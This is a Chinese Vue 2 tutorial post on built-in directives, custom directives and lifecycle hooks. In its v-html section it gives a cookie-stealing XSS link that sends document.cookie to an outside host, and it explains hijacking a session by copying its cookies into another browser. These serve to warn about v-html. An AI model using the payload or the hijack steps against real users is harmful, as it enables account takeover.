十四天学会Vue——Vue核心下篇(理论+实战)(第三天)

一、Vue核心下篇

1.15 常用的内置指令

1. v-text

 <!--准备好一个容器 --><div id="root"><!-- 1.v-text中的字符替换掉div整个字符 --><div v-text="name">你好,{{name}}</div><!-- 2.将标签当做字符串解析 --><div v-text="str"></div></div>new Vue({el: '#root',data: {name: '哈哈哈',str: '<h2>你好</h2>'},methods: {}});

2.v-html

功能1.解析标签结构

<!--准备好一个容器 --><div id="root"><!-- v-text将标签当做字符串解析 --><div v-text="str"></div><!-- 支持结构解析 --><div v-html="str"></div></div>new Vue({el: '#root',data: {name: '哈哈哈',str: '<h2>你好</h2>'}});

功能2.安全性问题

步骤一:先讲cookie的工作原理
在这里插入图片描述

图上是登录github,这里我用csdn登录举例:

1.第一次请求和第一次响应对应①和②

我们在谷歌浏览器(其他浏览器也可以)登录csdn,输入用户名密码请求登录,发往csdn服务器;csdn服务器校验完成,就会返回给用户跳转个人中心,并且返回红色k1v1、k2v2等一大堆cookie字符串,这些字符串都属于csdn网站的重要信息(身份标识,包括用户名 密码);chrome浏览器接收之后就会保存这些网站的信息,放在放在一块区域,其他网站登录信息啥的,也需要chorme保存,但是存在放在其他区域。
在这里插入图片描述
2.第二次请求和第二次响应 对应③和④
已经登录在chorome浏览器的csdn用户想要查看自己blog里面的内容,如个人中、内容管理,都需要跳转页面,chorme就会发送请求给csdn服务器,并且带着之前保存的网站的cookie信息;csdn服务器经过校验就会响应,并且返回给网站cookie信息,也就是k3v3等信息(注意:这里信息有时候登录时机会返回所有cookie信息,有时是相应一点给一点)。k3v3等信息又会继续储存在chrome浏览器原来给这一网站划分的区域中。
步骤二:图下表示:但是chorme浏览器储存的用户csdn网站的cookie信息不能被其他浏览器知道,如果知道会很可怕!大家联想一下就会明白在这里插入图片描述
服务器给的cookie至关重要!也就是如下信息如果被盗走,不轨之徒就可以利用这些信息虚拟用户身份,向csdn服务器发送cookie信息,并且进行登陆了!这样我们的信息就会被盗走了!!!
当然大家想要自己仿造,尅在chrome浏览器登录状态找到cookie信息,使用cookie editor插件复制,然后在例如火狐浏览器大局csdn网站,使用cookie editor插件粘贴就可以登陆了。
在这里插入图片描述
综上所述,所以cookie工作原理,实际上就是我们用淘宝买东西,在淘宝网登录自己密码用户名,而这些信息被放在网站的某一个位置,这些信息我们称为cookie,cookie存放的位置属于本地存储(application),所以不会丢失,这样我们在淘宝网浏览一页一页的东西肯定会牵涉到跳转页面,此时跳转页面也不会cookie信息丢失,也就是带着登录信息,我们只要获取这个登录信息都可以登录这个账号。
步骤三:联系到我们自己写的代码中:

 data: {name: '哈哈哈',// 先尝试 看看点击能不能有alert弹出// str: '<a href=javascript:alert(1)>你好</a>'str: '<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>一些具有诱惑性的语言 大家看到忍不住点</a>'}

document.cookie下列情况可以使用这个办法获得用cookie信息

在这里插入图片描述
在这里插入图片描述

当然,大家也需要放心,官网网站都会有HttpOnliy选中模式,不会被盗取,可是没有被选中就倒霉了!!!
所以v-html有安全性问题!!!!
(1).在网站上动态渲染任意HTML是非常危险的,容易导致XSS攻击。
(2).一定要在可信的内容上使用v-html,永不要用在用户提交的内容上!

如input框,用户已提交,如果不法分子在上面绑定了cookie,就会连带用户cookie信息一起获取

***这里有个问题:***想通过dovument.cokie只有用户可以查到信息,跳转页面也看不到这些信息啊?思路不是这样想的,依据cookie工作原理,用户自己页面其实就是登录上的状态,包含着自己的cookie信息,当你想要跳转其他页面的时候,其实到时候服务器返回的cookie信息不止当前页面的cookie信息,还包含之前的。并不是说肉眼没看到自己的key value(a:1;b:2)好像就没有。

3.v-cloak

原理:主要是为了解决网速过慢,导致未经解析的模版跑到页面上。那样做太丑了

给模版添加v-cloak,当vue.js还没有缓存出来的时候,因为v-cloak 添加了css隐藏属性 所以不会展示在页面 当缓存出来的同时v-cloak会自动消失,页面就出来了
使用css配合v-cloak可以解决网速慢时页面展示出{{xxx}}的问题。

<style>[v-cloak]{display:none;}</style><!-- 准备好一个容器--><div id="root"><h2 v-cloak>{{name}}</h2></div><script type="text/javascript" src="http://localhost:8080/resource/5s/vue.js"></script>new Vue({el:'#root',data:{name:'尚硅谷'}})

4. v-once指令

v-once所在节点在初次动态渲染后就变成静态内容了,以后数据改变不会引起v-once所在结构的变化

 <div id="root"><!-- v-once所在节点在初次动态渲染后就变成静态内容了,以后数据改变不会引起v-once所在结构的变化 --><h2 v-once>初始化值是{{n}}</h2><h2>当前的n值是{{n}}</h2><button @click="n++">点我n++</button></div>new Vue({el: '#root',data: {n: 1}})

5.v-pre指令

 <div id="root"><!-- 加上该指令  Vue不需要解析,直接在页面上呈现里面的东西,也就是跳过指令语法 插值语法解析的操作,用于一些不用解析的东西 会加快编译 --><h2 v-pre>Vue其实很简单</h2></div>new Vue({el: '#root',data: {n: 1}})

1.16 自定义指令

自定义指令有两种形式:函数式、对象式

需求一:定义一个v-big指令,和v-text指令功能类似,但会把绑定的数值放大10倍

思路:首先验证自定义big指令中,函数的参数表示什么;通过知道第二个参数存放着指令信息,利用bingding参数绑定dom元素和big指令信息展示在页面上。接着探讨big函数合适被调用,通过打印‘’big被调用‘’被输出来体现

 <!--准备好一个容器 --><div id="root"><h2>当前的n值是<span v-text="n"></span></h2><!-- 如果还未定义big函数 会报错 这里是因为没有定义big函数(另外如果在其他代码中可以联想是否单词写错两种情况) --><!-- 当定义了big函数之后 只要这里一使用V-big  就会调用big函数 --><h2>放大10倍后的值是<span v-big="n"></span></h2><button @click="n++">点我m++</button></div>new Vue({el: '#root',// 配置数据data: {n: 1}, directives: {// big表示指令的名字// 1.首先验证参数表示什么2,利用参数定义big//  验证参数分别dom元素和对象 对象中主要关注value值是v-big等于的值  //第二个参数主要是让dom元素与v-big有一个关联 所以是binding  接着进行dom操作big: function (element, binding) {// 通过打印看被调用了几次console.log('big函数被调用了    ')// 指定所绑定的dom元素console.dir(element)// 使用instanceof验证真实domconsole.log(element instanceof HTMLElement)// 一个包含指令信息的对象  主要关注valueconsole.dir(binding)element.innerText = binding.value * 10}}});

需求二:定义一个v-fbind指令,和v-bind指令功能类似,但会让绑定的input元素默认获取加焦点

<div id="root"><input type="text" v-fbind:value="n"><!-- <h2>放大10倍后的n值是<span v-big="n"></span></h2> --><button @click="n++">点击n++</button></div>new Vue({el: '#root',data: {n: 1},// 像之前的计算、侦听属性一样都是配置对象directives: {// 函数式为什么不好用了?//  fbind (element, binding) {//     console.log('bind函数被调用', this)//     element.value = binding.value * 20//     // 实现不了 首先要input框先放入页面才能聚焦 所以就引出了出现多个阶段才能实现  引出对象式  引出该自定义指令中包含几个钩子函数//     // element.focus()// }// 引出对象式fbind: {bind (element, binding) {element.value = binding.value * 20},inserted (element, binding) {element.focus()}, update (element, binding) {element.value = binding.value * 20}}}});

都是局部指令,将局部指令转化为全局指令

对象式
在这里插入图片描述

函数式
在这里插入图片描述

1.17 生命周期

1.引出生命周期

我们使用几个文字,将这些文字每隔一段时间自动(开启定时器)变淡。三种情况:第一种:使用methods方法,但是需要设置监听事件才能触发,不是我们想象的文字一展示在页面自动每隔一段时间就改变,pass 第二种,将定时器设置在vue实例外部,但是我要的是放在vue内部,所以pass 第三种:使用生命周期,当vue模版被解析到页面上挂载完毕,开始开启定时器

在这里插入图片描述

 <!--准备好一个容器 --><div id="root"><h2 :style="{opacity}">欢迎学习Vue</h2>{{change()}}</div>const vm = new Vue({el: '#root',data: {opacity: 1},methods: {// 1.需要设置一个事件才能引起触发 不合理 pass// change () {//     console.log('设置一个函数自动开启定时器')//     setInterval(() => {//         this.opacity -= 0.1//         if (this.opacity <= 0) this.opacity = 1//     }, 100)// }},// 引出生命周期// 用于Vue完成模版的解析并把刚开始的真实DOM放入页面后(挂载完毕),调用mounted  生命周期中this指向vmmounted () {setInterval(() => {this.opacity -= 0.1if (this.opacity <= 0) this.opacity = 1}, 100)}})// 2.在vue外部可以实现自动开启定时器  但是在vue外部不太好 pass// setInterval(() => {//     vm.opacity -= 0.1//     if (vm.opacity <= 0) vm.opacity = 1// }, 100)

2.分析生命周期

生命周期挂载流程

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
生命周期更新流程
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
更新周期代码

<!DOCTYPE html>
<html lang="zh-CN"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><meta http-equiv="X-UA-Compatible" content="ie=edge"><title>Document</title><script src="../../js/vue.js"></script>
</head><body><!--准备好一个容器 --><div id="root"><h2>当前的n值是{{n}}</h2><!-- 销毁的是原生dom事件 --><button @click="add">点我n+1</button><button @click="bye">点我销毁一下</button></div><script type="text/javascript">Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。const vm = new Vue({el: '#root',// template: `// <div><h2>当前的n值是{{n}}</h2>// <button @click="n++">点我n+1</button></div>`,data: {n: 1},methods: {add () {console.log('add')this.n++},},beforeCreate () {console.log('beforeCreate')console.log(this)// debugger}, created () {console.log('created')console.log(this)// debugger}, beforeMount () {console.log('beforeMount')console.log(this)// 在控制台操作能够演示变化  因为vue解析模版一系列过程是一瞬间的过程,所以太快根本看不出来变化// document.querySelector('h2').innerText = '哈哈'// debugger},mounted () {console.log('mounted')console.log(this)// 查看是否为真实dom// console.log(this.$el, this.$el instanceof HTMLElement)// 有效但是尽量避免// document.querySelector('h2').innerText = '哈哈'// debugger},beforeUpdate () {console.log('beforeUpdate')// console.log(this.n)// debugger}, updated () {console.log('updated')// console.log(this.n)// debugger},})</script>
</body></html>

销毁周期代码

<!DOCTYPE html>
<html lang="zh-CN"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><meta http-equiv="X-UA-Compatible" content="ie=edge"><title>Document</title><script src="../../js/vue.js"></script>
</head><body><!--准备好一个容器 --><div id="root"><h2>当前的n值是{{n}}</h2><!-- 销毁的是自定义事件 原生dom事件不会销毁 即使销毁一万次  原生dom事件也不会销毁  所以vue页面上不会显示 但是在控制台还是能打印--><button @click="add">点我n+1</button><button @click="bye">点我销毁一下</button></div><script type="text/javascript">Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。const vm = new Vue({el: '#root',// template: `// <div><h2>当前的n值是{{n}}</h2>// <button @click="n++">点我n+1</button></div>`,data: {n: 1},methods: {add () {// 这里我这边验证的是销毁了就是销毁了 跟老师讲的不一样console.log('add')this.n++}, bye () {this.$destroy()}// 销毁后不调用watch}, watch: {n () {console.log('n变了')}},beforeCreate () {console.log('beforeCreate')console.log(this)// debugger}, created () {console.log('created')console.log(this)// debugger}, beforeMount () {console.log('beforeMount')console.log(this)// 在控制台操作能够演示变化  因为vue解析模版一系列过程是一瞬间的过程,所以太快根本看不出来变化// document.querySelector('h2').innerText = '哈哈'// debugger},mounted () {console.log('mounted')console.log(this)// 查看是否为真实dom// console.log(this.$el, this.$el instanceof HTMLElement)// 有效但是尽量避免// document.querySelector('h2').innerText = '哈哈'// debugger},beforeUpdate () {console.log('beforeUpdate')// console.log(this.n)// debugger}, updated () {console.log('updated')// console.log(this.n)// debugger}, beforeDestroy () {console.log('beforeDestroy')console.log(this.n)// 在此阶段所有对数据的而修改不会再触发更新了,就不要访问数据了this.add()}, destroyed () {console.log('destroyed')},})</script>
</body></html>

在这里插入图片描述

案例:通过生命周期来实现定时器的停止变换

<!DOCTYPE html>
<html lang="zh-CN"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><meta http-equiv="X-UA-Compatible" content="ie=edge"><title>Document</title><script src="../../js/vue.js"></script>
</head><body><div id="root"><h2 :style="{opacity}">欢迎学习Vue</h2><button @click="stop">点我停止变换</button><!-- 使用关闭定时器的方式很温柔 --><button @click="opacity=1">透明度设置为1</button></div><script type="text/javascript">Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。const vm = new Vue({el: '#root',data: {opacity: 1},methods: {stop () {// clearInterval(this.timer)this.$destroy()}},mounted () {// Vue完成模版的解析并把初始的真实DOM放入页面后(挂在完毕),调用mountedconsole.log('mounted')// 往vm中存  但是不用定义变量吗?这里就死记硬背吧  在vm中赋值 因为数据代理 vue会帮你做响应式this.timer = setInterval(() => {this.opacity -= 0.1// 为什么加小于号  作者是因为避免跳过0直接变成负数if (this.opacity <= 0) this.opacity = 1}, 500)}, beforeDestroy () {console.log('vm即将驾鹤西游了')// 只要销毁 就把一些东西安排好clearInterval(this.timer)},})</script>
</body></html>

](https://img-blog.csdnimg.cn/direct/e7128460effb4f98b9b852453d177f7a.png#pic_center)

在这里插入图片描述

总结生命周期

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/pingmian/20262.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Vue Router (创建 挂载)

创建路由模块 在src目录下创建router.js文件作为模块&#xff0c;该文件中按照如下步骤进行操作 1.导入路由相关函数&#xff0c;具体代码如下&#xff1a; import{ createRouter&#xff0c;createWebHashHistory } from Vue-router在上述代码中&#xff0c;从Vue-router中…

网络原理-TCP/IP --应用层

T04BF &#x1f44b;专栏: 算法|JAVA|MySQL|C语言 &#x1faf5; 今天你敲代码了吗 目录 3.网络原理 -TCP/IP3.1 应用层 3.网络原理 -TCP/IP 3.1 应用层 应用层是程序员打交道最多的一层,与应用程序直接相关 而应用层的协议,实际上就规定了你写的程序,通过网络传输的时候,按…

2928. 给小朋友们分糖果 I

给你两个正整数 n 和 limit 。 请你将 n 颗糖果分给 3 位小朋友&#xff0c;确保没有任何小朋友得到超过 limit 颗糖果&#xff0c;请你返回满足此条件下的 总方案数 。 示例 1&#xff1a; 输入&#xff1a;n 5, limit 2 输出&#xff1a;3 解释&#xff1a;总共有 3 种方…

FX2N用什么编程软件:深入解析与选择指南

FX2N用什么编程软件&#xff1a;深入解析与选择指南 在工业自动化领域&#xff0c;FX2N系列PLC因其卓越的性能和广泛的应用而备受瞩目。然而&#xff0c;对于许多初学者和工程师来说&#xff0c;如何选择合适的编程软件来开发FX2N系列PLC却是一个令人困惑的问题。本文将从四个…

【LINUX】LINUX基础(目录结构、基本权限、基本命令)

文章目录 LINUX的目录结构LINUX的基本权限LINUX基本命令 LINUX的目录结构 /&#xff1a;表示根目录bin&#xff1a;存放二进制可执行文件(命令ls、cat、mkdir等)boot&#xff1a;存放系统引导文件dev&#xff1a;存放设备文件etc&#xff1a;存放系统配置文件home&#xff1a;…

LeeCode热题100(爬楼梯)

爬楼梯这个题我断断续续看了不下5遍&#xff0c;哪次看都是懵逼的&#xff0c;就会说是满足动态规划&#xff0c;满足斐波那契数列&#xff0c;也不说为什么。 本文一定让你明白怎么分析这个题的规律&#xff08;利用数学的递推思想来分析&#xff09;&#xff0c;看不懂来打我…

Ubuntu 22.04 .NET8 程序 环境安装和运行

前言 我们需要将.NET8编写的console控制台程序&#xff0c;部署在Ubuntu服务器上运行。 安装.NET运行时 1.增加微软包安装源 wget https://packages.microsoft.com/config/ubuntu/22.04/packages-microsoft-prod.deb -O packages-microsoft-prod.deb sudo dpkg -i packages…

JAVA学习-练习试用Java实现“Z字形变换”

问题&#xff1a; 将一个给定字符串 s 根据给定的行数 numRows &#xff0c;以从上往下、从左到右进行 Z 字形排列。 比如输入字符串为 "PAYPALISHIRING" 行数为 3 时&#xff0c;排列如下&#xff1a; P A H N A P L S I I G Y I R 之后&#xff0c;你…

1114 全素日

你好哇&#xff0c;新的一天开始啦&#xff01; solution 取数值的不同部分&#xff0c;联想到借助string #include<iostream> #include<string> using namespace std; bool judge(string s){int n atoi(s.c_str());if(n 1 || n 0) return false;for(int i 2…

FT编程语言:探索其深度、广度与未来潜力

FT编程语言&#xff1a;探索其深度、广度与未来潜力 FT编程语言&#xff0c;作为一个新兴且充满潜力的编程领域&#xff0c;正逐渐引起开发者和研究者的广泛关注。其独特的设计理念和强大的功能使得它在多个方面展现出独特的魅力。本文将从四个方面、五个方面、六个方面和七个…

“浔川AI翻译”正式上线!——浔川AI社

1前言&#xff1a; 浔川AI翻译机是一种基于人工智能技术开发的翻译设备。它能够实时将一种语言的文本或口语翻译成另一种语言&#xff0c;使得不同语言之间的交流更加便捷。浔川AI翻译机利用深度学习算法和大数据训练模型&#xff0c;能够自动识别和理解输入的语言&#xff0c…

618大促买什么数码最划算?数码好物清单整理,买到就是赚到!

618年中大促数码产品爱好者们纷纷摩拳擦掌&#xff0c;准备在这个购物狂欢节里抢购心仪已久的数码好物&#xff0c;在繁多的品牌和型号中挑选出最划算的产品&#xff0c;并不是一件容易的事情&#xff0c;为了帮助大家更好地把握这次购物机会&#xff0c;我们精心整理了一份数码…

基于java的CRM客户关系管理系统(一)

目录 第一章 绪论 1.1 研究背景和意义 1.1.1 企业管理信息化 1.1.2 CRM的概念 1.1.3 CRM客户管理系统的意义 1.2 国内外研究 1.3 论文结构 1.4 本章小结 资源毕业设计毕业论文源代码请移步 CRM客户关系管理系统毕业论文毕业设计源代码 第一章 绪论 1.1 研究背景…

【qt】多窗口开发

多窗口开发 一.应用场景二.嵌入的窗口1.设计Widget窗口2.创建窗口3.添加窗口4.总代码 三.独立的窗口1.创建窗口2.显示窗口 四.总结 一.应用场景 多窗口,顾名思义,有多个窗口可以供我们进行操作! 截个小图,你应该就知道了 OK,话不多说,直接开干,先来设计我们的主窗口 需要蔬菜…

《异常检测——从经典算法到深度学习》29 EasyTSAD: 用于时间序列异常检测模型的工业级基准

《异常检测——从经典算法到深度学习》 0 概论1 基于隔离森林的异常检测算法 2 基于LOF的异常检测算法3 基于One-Class SVM的异常检测算法4 基于高斯概率密度异常检测算法5 Opprentice——异常检测经典算法最终篇6 基于重构概率的 VAE 异常检测7 基于条件VAE异常检测8 Donut: …

MySQL的一些高频面试题汇总(持续补充)

1.事务4大特性 事务4大特性&#xff1a;原子性、一致性、隔离性、持久性 原⼦性&#xff1a;事务是最⼩的执⾏单位&#xff0c;不允许分割。事务的原⼦性确保动作要么全部完成&#xff0c;要么全不执行 一致性&#xff1a;执⾏事务前后&#xff0c;数据保持⼀致&#xff0c;多…

2-链表-51-删除链表的倒数第 N 个结点-LeetCode19

2-链表-51-删除链表的倒数第 N 个结点-LeetCode19 参考:代码随想录 LeetCode: 题目序号19 更多内容欢迎关注我(持续更新中,欢迎Star✨) Github:CodeZeng1998/Java-Developer-Work-Note 技术公众号:CodeZeng1998(纯纯技术文) 生活公众号:好锅(Life is more than co…

html 添加元素如何能提升速度

在 HTML 中&#xff0c;如果你需要频繁地添加大量元素&#xff0c;需要确保你的操作能够以最佳性能进行。以下是一些有助于提高添加元素速度的方法&#xff1a; 综上所述&#xff0c;通过使用文档片段、innerHTML、虚拟滚动以及避免频繁的重排和重绘&#xff0c;你可以提高在 H…

java mybatis处理大数据量,开启和配置二级缓存,及注意事项,已解决

注意事项&#xff1a; 尽量避免使用下面方式写sql否则会降低服务器性能&#xff1a; mybatis二级缓存开启后&#xff0c;避免使用事务注解&#xff08;加上事务注解后二级缓存数据会导致两次访问不一致问题&#xff09;&#xff1a; 3. 返回的对象实体类&#xff0c;要实现Se…

基恩士激光 速度 曝光等关系

一、基恩士 CtrlN 二、速度设置 计算扫描速度 曝光时间&#xff1a; 1:1 相机点间隔是0.025 &#xff0c;我们要扫描的图像也是1&#xff1a;1的话&#xff0c;速度可以为 采样周期我们设定为3K&#xff0c;假如我们的7000行就够了 速度V0.025&#xff08;线间隔&#xff0…